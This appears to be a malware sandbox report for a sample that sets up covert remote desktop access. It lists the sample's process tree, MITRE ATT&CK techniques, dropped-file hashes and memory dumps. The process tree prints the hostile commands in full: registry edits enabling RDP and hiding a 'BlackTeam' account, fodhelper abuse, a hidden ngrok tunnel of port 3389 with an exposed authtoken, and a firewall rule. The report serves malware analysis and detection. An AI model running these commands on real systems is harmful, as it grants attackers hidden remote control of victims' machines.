      - C:\Windows\system32\reg.exe
        
        reg add "'HKLM\system\CurrentControlSet\Control\Terminal Server'" /v "'fDenyTSConnections'" /t REG_DWORD /d 0x0 /f
        6⤵
        
        PID:1640
      - C:\Windows\system32\reg.exe
        
        reg add "'HKLM\system\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp'" /v "'MaxIdleTime'" /t REG_DWORD /d 0x0 /f
        6⤵
        
        PID:2256
      - C:\Windows\system32\reg.exe
        
        reg add "'HKLM\software\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList'" /v BlackTeam /t REG_DWORD /d 0x0 /f
        6⤵
        
        PID:2852
      - C:\Windows\system32\attrib.exe
        
        attrib C:\users\BlackTeam +r +a +s +h
        6⤵
        Sets file to hidden
        Views/modifies file attributes
        
        PID:2132
- - C:\Windows\System32\fodhelper.exe
    "C:\Windows\System32\fodhelper.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5100
  - - C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe
      "PowerShell.exe" -window hidden -command C:\Users\Admin\AppData\Local\Temp\/ngrok.exe config add-authtoken 2PDLmCpAc15rqXLc5UciTovK3D0_4ATiYujFG1vzipB7hfDgs
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:1416
    - - C:\Users\Admin\AppData\Local\Temp\ngrok.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ngrok.exe" config add-authtoken 2PDLmCpAc15rqXLc5UciTovK3D0_4ATiYujFG1vzipB7hfDgs
        5⤵
        Executes dropped EXE
        
        PID:4540
- - C:\Windows\System32\fodhelper.exe
    "C:\Windows\System32\fodhelper.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3908
  - - C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe
      "PowerShell.exe" -window hidden -command C:\Users\Admin\AppData\Local\Temp\/ngrok.exe tcp 3389
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:4552
    - - C:\Users\Admin\AppData\Local\Temp\ngrok.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ngrok.exe" tcp 3389
        5⤵
        Executes dropped EXE
        Modifies system certificate store
        
        PID:1656
- - C:\Windows\System32\fodhelper.exe
    "C:\Windows\System32\fodhelper.exe"
    3⤵
    PID:2692
  - - C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe
      "PowerShell.exe" -window hidden -command C:\Users\Admin\AppData\Local\Temp\/vhttd.exe -i
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:3680
    - - C:\Users\Admin\AppData\Local\Temp\vhttd.exe
        
        "C:\Users\Admin\AppData\Local\Temp\vhttd.exe" -i
        5⤵
        Sets DLL path for service in the registry
        Executes dropped EXE
        Modifies WinLogon
        Drops file in System32 directory
        Drops file in Program Files directory
        
        PID:4504
      - C:\Windows\SYSTEM32\netsh.exe
        
        netsh advfirewall firewall add rule name="Remote Desktop" dir=in protocol=tcp localport=3389 profile=any action=allow
        6⤵
        Modifies Windows Firewall
        
        PID:1004

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -s TermService
1⤵
PID:4116

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -s TermService
1⤵
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
PID:748

Network

MITRE ATT&CK Enterprise v6

Initial Access

Replication Through Removable Media

T1091

Execution

Persistence

Account Manipulation

T1098

Hidden Files and Directories

T1158

Modify Existing Service

T1031

Registry Run Keys / Startup Folder

T1060

Winlogon Helper DLL

T1004

Privilege Escalation

Defense Evasion

Hidden Files and Directories

T1158

Install Root Certificate

T1130

Modify Registry

T1112

Credential Access

Account Manipulation

T1098

Credentials in Files

T1081

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Remote Desktop Protocol

T1076

Replication Through Removable Media

T1091

Collection

Data from Local System

T1005

Email Collection

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Program Files\RDP Wrapper\rdpwrap.dll

Filesize
48KB

MD5
678a88c83e62ff5bf041a9ba87243fb4

SHA1
91a3c580f17172ed2c8d419af4b15e2c545d6a72

SHA256
c9786df320ad6127bece91c530bc6fddfff41286c944fd76d44b60799dbe49b8

SHA512
5392a452aceef18d3edc89c2998692dd73e551ed5c62c481a54daec564312a94fd99cc2dce2fdd18c6b297ff83ecfa181e78574423d008a456a8569f04c7daef

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\PowerShell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
6d42b6da621e8df5674e26b799c8e2aa

SHA1
ab3ce1327ea1eeedb987ec823d5e0cb146bafa48

SHA256
5ab6a1726f425c6d0158f55eb8d81754ddedd51e651aa0a899a29b7a58619c4c

SHA512
53faffbda8a835bc1143e894c118c15901a5fd09cfc2224dd2f754c06dc794897315049a579b9a8382d4564f071576045aaaf824019b7139d939152dca38ce29

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
6c79a82460b4e30ec3a3a36e46c59d53

SHA1
0ae172b9bd8ad0a15c9cb38717ef598e5dde17ad

SHA256
49cc6faf6b026ed21f066661083e4e9a07d4fcce074ea8c48d7a8a89ce0429d5

SHA512
ef30fd1412c6a7ddf136fff38d93855b45a47a2d446a6ede6a19bf71bf2fd0676defcdec69964bc685285bfe1a91099af934b56ea5994fb748b699285a500fdb

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
446dd1cf97eaba21cf14d03aebc79f27

SHA1
36e4cc7367e0c7b40f4a8ace272941ea46373799

SHA256
a7de5177c68a64bd48b36d49e2853799f4ebcfa8e4761f7cc472f333dc5f65cf

SHA512
a6d754709f30b122112ae30e5ab22486393c5021d33da4d1304c061863d2e1e79e8aeb029cae61261bb77d0e7becd53a7b0106d6ea4368b4c302464e3d941cf7

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
8857491a4a65a9a1d560c4705786a312

SHA1
4f3caf2ad5d66a2410c9cca0381d26a46e832cb4

SHA256
b6e1a16a11075cb4e0bae0cebdb6ac15f5d66e0005f557703708a04cd11bd360

SHA512
d9497c47898cdc4c4fc62158830dc931990e08bb4a28a5d19d4187a87a2afab8a4bd58ca346563210b476c9adb9a714bfe1057e0ebce85d1fd94731be6d02660

Download Submit
C:\Users\Admin\AppData\Local\Temp\Snup.bat

Filesize
1KB

MD5
3bb16d80a3dbf1c6cdb06e52fcaab5ba

SHA1
59ab02029d135f93c5cd2b153d69663e216b1965

SHA256
6ad6b4cf1bc3786ceea552b17b244a49896ee703baf53d4008262790a79c97b5

SHA512
cec268b374ea8b739aaf72708d58bd425b79a411e9241ea6adfa44eb40204ed6ec509609e40b53fb6c468e037bc4b762a38a9160bf5e746c06c622e3fada5dcb

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_q3kmanyh.n02.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\iexplorer.exe

Filesize
3.3MB

MD5
44b65c0e74a1c608b202a663318f966d

SHA1
dfb026a22e11d8c50305a8cf85b911aed5e5f7e9

SHA256
04fb545df05912be1228df1958e6e60ffbc745ce3377162117b0ee59bb18a6b2

SHA512
ed6220dbd93f1c15310219573f3dd8b961f5fc31ec571cdeae607b0df2d7d56e252cc69e60ff70dfb1da6d185a27cb7e3ad9ceb10fb813eede069dbae1236e33

Download Submit
C:\Users\Admin\AppData\Local\Temp\iexplorer.exe

Filesize
3.3MB

MD5
44b65c0e74a1c608b202a663318f966d

SHA1
dfb026a22e11d8c50305a8cf85b911aed5e5f7e9

SHA256
04fb545df05912be1228df1958e6e60ffbc745ce3377162117b0ee59bb18a6b2

SHA512
ed6220dbd93f1c15310219573f3dd8b961f5fc31ec571cdeae607b0df2d7d56e252cc69e60ff70dfb1da6d185a27cb7e3ad9ceb10fb813eede069dbae1236e33

Download Submit
C:\Users\Admin\AppData\Local\Temp\iexplorer.exe

Filesize
3.3MB

MD5
44b65c0e74a1c608b202a663318f966d

SHA1
dfb026a22e11d8c50305a8cf85b911aed5e5f7e9

SHA256
04fb545df05912be1228df1958e6e60ffbc745ce3377162117b0ee59bb18a6b2

SHA512
ed6220dbd93f1c15310219573f3dd8b961f5fc31ec571cdeae607b0df2d7d56e252cc69e60ff70dfb1da6d185a27cb7e3ad9ceb10fb813eede069dbae1236e33

Download Submit
C:\Users\Admin\AppData\Local\Temp\ngrok.exe

Filesize
20.5MB

MD5
0de87b2cb6b4f4c247d7f28b01f3575a

SHA1
336aec3afaf84c8dc897eea14d207c5240d04312

SHA256
05596cac3448ed1d0e132c96bd45f02769e08932d4e60be4c918fea9d1064ef7

SHA512
5e2d4e457b0ab97d899e8ee32c1dfc14ef58f8d7578c6268689b91e7efc4aa56d62038976a1085646e436da9f176135f76a1d6498baa29376731e4f9d3996599

Download Submit
C:\Users\Admin\AppData\Local\Temp\ngrok.exe

Filesize
20.5MB

MD5
0de87b2cb6b4f4c247d7f28b01f3575a

SHA1
336aec3afaf84c8dc897eea14d207c5240d04312

SHA256
05596cac3448ed1d0e132c96bd45f02769e08932d4e60be4c918fea9d1064ef7

SHA512
5e2d4e457b0ab97d899e8ee32c1dfc14ef58f8d7578c6268689b91e7efc4aa56d62038976a1085646e436da9f176135f76a1d6498baa29376731e4f9d3996599

Download Submit
C:\Users\Admin\AppData\Local\Temp\ngrok.exe

Filesize
20.5MB

MD5
0de87b2cb6b4f4c247d7f28b01f3575a

SHA1
336aec3afaf84c8dc897eea14d207c5240d04312

SHA256
05596cac3448ed1d0e132c96bd45f02769e08932d4e60be4c918fea9d1064ef7

SHA512
5e2d4e457b0ab97d899e8ee32c1dfc14ef58f8d7578c6268689b91e7efc4aa56d62038976a1085646e436da9f176135f76a1d6498baa29376731e4f9d3996599

Download Submit
C:\Users\Admin\AppData\Local\Temp\vhttd.exe

Filesize
445KB

MD5
2612258ab4e2221b52974b5c0154fffd

SHA1
2aa58664874516b338325d1fd8205421815b2cba

SHA256
833d6f4de177cf07ceccbb0ceb910f7785df60941a61c7154ed747ec845f51ae

SHA512
02b000c89fc2f49f55e9ecacd17656cc5fbe948e2717ad4876b98d73ff30182cfa43ed05d0820cc4c427e79d6c7aaabf299a9c24158e34a96ad6008f9521483c

Download Submit
C:\Users\Admin\AppData\Local\Temp\vhttd.exe

Filesize
445KB

MD5
2612258ab4e2221b52974b5c0154fffd

SHA1
2aa58664874516b338325d1fd8205421815b2cba

SHA256
833d6f4de177cf07ceccbb0ceb910f7785df60941a61c7154ed747ec845f51ae

SHA512
02b000c89fc2f49f55e9ecacd17656cc5fbe948e2717ad4876b98d73ff30182cfa43ed05d0820cc4c427e79d6c7aaabf299a9c24158e34a96ad6008f9521483c

Download Submit
C:\Users\Admin\AppData\Local\hBStbrK.sven\Files\LockStep.txt

Filesize
293KB

MD5
82467ae93459225c46e3db8b974076f7

SHA1
b2ae0c68f313b6bee01851db8afb6fc540fad3f2

SHA256
32154d2c81dacf99810e2215c5dec46d34089470db69ce75e18d64e9adbf1e79

SHA512
45cb18a081787cd6a1d78932f547e8566803be6d470c584cbdc9e6dec8af26ec611b63a042542882f496c2c61059876878d18da5a3983cf2ffaf3321739a7eb8

Download Submit
C:\Users\Admin\AppData\Local\hBStbrK.sven\sysInformation.txt

Filesize
810B

MD5
40da609bec9f3016108439fe6df7652a

SHA1
a786c09e9f979c7e2b169da8544243864c7313ba

SHA256
5a03aafe3f03dfc898000d4bdaf280a998fb9d760998854e0208aabdd4a8beee

SHA512
a81e72fc3d766c259ed13f91d158effc110e54dcaf3111a9ed41c7e01ba1c070c3a5ffccd0e82633453bcdad5c3c02913f8526e0813408efd73048eebba390e8

Download Submit
C:\Users\Admin\AppData\Local\ngrok\ngrok.yml

Filesize
74B

MD5
137e4380b0434d58f3e5d255cb6d9a4c

SHA1
f1251b3c2956e6f2d595f5fc8f8acd013ab25afb

SHA256
76a103ca670eae88a2b08f9032f14e07b19da2e4ca43ad7e42bd548edfa874ea

SHA512
f179e741d5c6ee6979fc185350f4cd6fdf7996a480b0a05b9ddf401127030e7d8ef31a34dd23a0025eb88a01571809788085391552e5920e4b61700ac5996149

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
6KB

MD5
231f8f8c797d0a09a5aa943a1b7a873d

SHA1
319d798cd249115a5c17572b9730123a4de83544

SHA256
b27e2f695471d840d262c3d84f2fc8ea5a0c68e5a9f36d743abf33436b64b712

SHA512
a3a6865e0dc5ef8e349ae8fed406122281f322fd1dc03a1d6d45435e39d1240a13a44f729141db5e4dc668ff5fc25defc6bfec57cb4ea65ad5d6a3d0d6be105d

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
6KB

MD5
4e11987af9c8ad638a4077a72d13ba07

SHA1
28e2015cebe4c66365d0fb313c6ffdfc1eea8ef8

SHA256
d1f6513c2d22e249b34a0f4f22be418ad4ba24172357f096e1a5316d8281dec0

SHA512
2b3742bb593a8f0cbc32ac1f2995bb9b4aa7baf6e9bafc85246e8f7c8f74186faaad29f1f935298b204c29d98fc56fa0bd473169df0499599fdd0e6b9cd657a3

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
6KB

MD5
4e11987af9c8ad638a4077a72d13ba07

SHA1
28e2015cebe4c66365d0fb313c6ffdfc1eea8ef8

SHA256
d1f6513c2d22e249b34a0f4f22be418ad4ba24172357f096e1a5316d8281dec0

SHA512
2b3742bb593a8f0cbc32ac1f2995bb9b4aa7baf6e9bafc85246e8f7c8f74186faaad29f1f935298b204c29d98fc56fa0bd473169df0499599fdd0e6b9cd657a3

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
6KB

MD5
21096c4061c0a98957ba535025a9db66

SHA1
06adc6117e882e700cd8f7c9b0cff4a87f9f80f5

SHA256
687d5b226008048fffbbfbcd86e5614e4d75a7dff0a5c67ea22f40104fdc8d42

SHA512
e47eab841cbdba79003907c7a784469ec9431977a265bcdf303313102687be4d71b4f353535c2edde82032c22b68a01345ffdfca1eed0046f4766da7b663cc73

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
6KB

MD5
12792d181d737de6ca549630cd47f369

SHA1
f0f7c0042d2f24ebaf2cdc263860a1c26f87296d

SHA256
792549f49a062ec7c0fd4b5e2ae06591e9591a3587ae58fb5b45b3b38a29a393

SHA512
8320c6604750b7e50a1d46085a17cf96e14c7d9f8783eb27fc1127373eb97374e6d69b14da751e9a4fedf90330d1c39dedaf4fbddc74649b6a0a1a8e3a60264c

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
6KB

MD5
12792d181d737de6ca549630cd47f369

SHA1
f0f7c0042d2f24ebaf2cdc263860a1c26f87296d

SHA256
792549f49a062ec7c0fd4b5e2ae06591e9591a3587ae58fb5b45b3b38a29a393

SHA512
8320c6604750b7e50a1d46085a17cf96e14c7d9f8783eb27fc1127373eb97374e6d69b14da751e9a4fedf90330d1c39dedaf4fbddc74649b6a0a1a8e3a60264c

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
6KB

MD5
e6d89372efdc26f0ce862cb1ff32f45b

SHA1
f19b63735e09e12385d19a0228bb731d43a6a8a6

SHA256
f79c91a11424f687b3bd3390949a3f600ea349b1f8bdd8e44c818a1e2bd3a563

SHA512
f535232a17e88ae4659ea83d2eff279a7ca5efd56c48b8d2e84629af05f58d7c127c501ac9231a233dd10f9fd2dc78bbd1dcb4315a0bf64505cf5423baa656dc

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\DMVN0E7VV9JIE16N4QUL.temp

Filesize
6KB

MD5
e6d89372efdc26f0ce862cb1ff32f45b

SHA1
f19b63735e09e12385d19a0228bb731d43a6a8a6

SHA256
f79c91a11424f687b3bd3390949a3f600ea349b1f8bdd8e44c818a1e2bd3a563

SHA512
f535232a17e88ae4659ea83d2eff279a7ca5efd56c48b8d2e84629af05f58d7c127c501ac9231a233dd10f9fd2dc78bbd1dcb4315a0bf64505cf5423baa656dc

Download Submit
\??\c:\program files\rdp wrapper\rdpwrap.dll

Filesize
48KB

MD5
678a88c83e62ff5bf041a9ba87243fb4

SHA1
91a3c580f17172ed2c8d419af4b15e2c545d6a72

SHA256
c9786df320ad6127bece91c530bc6fddfff41286c944fd76d44b60799dbe49b8

SHA512
5392a452aceef18d3edc89c2998692dd73e551ed5c62c481a54daec564312a94fd99cc2dce2fdd18c6b297ff83ecfa181e78574423d008a456a8569f04c7daef

Download Submit
\??\c:\program files\rdp wrapper\rdpwrap.ini

Filesize
338KB

MD5
98082786e440be307873aafea2ea092e

SHA1
089f39ae279fec8fe2bf6d040457e9d3d566f348

SHA256
8de2b36a407ebc818459d6792b3f14cad6372a9c4756eeffeaf8455ccfba16e5

SHA512
2d069b1f6144cba156eb9734b074a8c2bc42bfce14baa622c25c29d5ca81a8bdc6076eb134b0c4eaa99e834a7cae69c69c7a6e88b86e8d5b2afbf58193b908a9

Download Submit
memory/748-298-0x00007FFC70F70000-0x00007FFC70F96000-memory.dmp

Filesize
152KB

Download
memory/1416-235-0x000001E2BF070000-0x000001E2BF080000-memory.dmp

Filesize
64KB

Download
memory/1416-236-0x000001E2BF070000-0x000001E2BF080000-memory.dmp

Filesize
64KB

Download
memory/1416-240-0x000001E2BF070000-0x000001E2BF080000-memory.dmp

Filesize
64KB

Download
memory/2696-151-0x000001F330C50000-0x000001F330C72000-memory.dmp

Filesize
136KB

Download
memory/2696-149-0x000001F349510000-0x000001F349520000-memory.dmp

Filesize
64KB

Download
memory/2696-148-0x000001F32EBC0000-0x000001F32EF06000-memory.dmp

Filesize
3.3MB

Download
memory/2696-150-0x000001F349510000-0x000001F349520000-memory.dmp

Filesize
64KB

Download
memory/2968-216-0x000001BD32160000-0x000001BD32170000-memory.dmp

Filesize
64KB

Download
memory/2968-215-0x000001BD32160000-0x000001BD32170000-memory.dmp

Filesize
64KB

Download
memory/3680-287-0x00000225B3820000-0x00000225B3830000-memory.dmp

Filesize
64KB

Download
memory/3680-286-0x00000225B3820000-0x00000225B3830000-memory.dmp

Filesize
64KB

Download
memory/3680-288-0x00000225B3820000-0x00000225B3830000-memory.dmp

Filesize
64KB

Download
memory/3928-163-0x000001CC987E0000-0x000001CC987F0000-memory.dmp

Filesize
64KB

Download
memory/3928-164-0x000001CC987E0000-0x000001CC987F0000-memory.dmp

Filesize
64KB

Download
memory/3928-165-0x000001CC987E0000-0x000001CC987F0000-memory.dmp

Filesize
64KB

Download
memory/4376-136-0x0000024FEDA10000-0x0000024FEDA20000-memory.dmp

Filesize
64KB

Download
memory/4376-134-0x0000024FEDA10000-0x0000024FEDA20000-memory.dmp

Filesize
64KB

Download
memory/4376-133-0x0000024FD34E0000-0x0000024FD34FE000-memory.dmp

Filesize
120KB

Download
memory/4504-289-0x0000000000400000-0x0000000000592000-memory.dmp

Filesize
1.6MB

Download
memory/4504-299-0x0000000000400000-0x0000000000592000-memory.dmp

Filesize
1.6MB

Download
memory/4552-263-0x000001CC0E0D0000-0x000001CC0E0E0000-memory.dmp

Filesize
64KB

Download
memory/4552-262-0x000001CC0E0D0000-0x000001CC0E0E0000-memory.dmp

Filesize
64KB

Download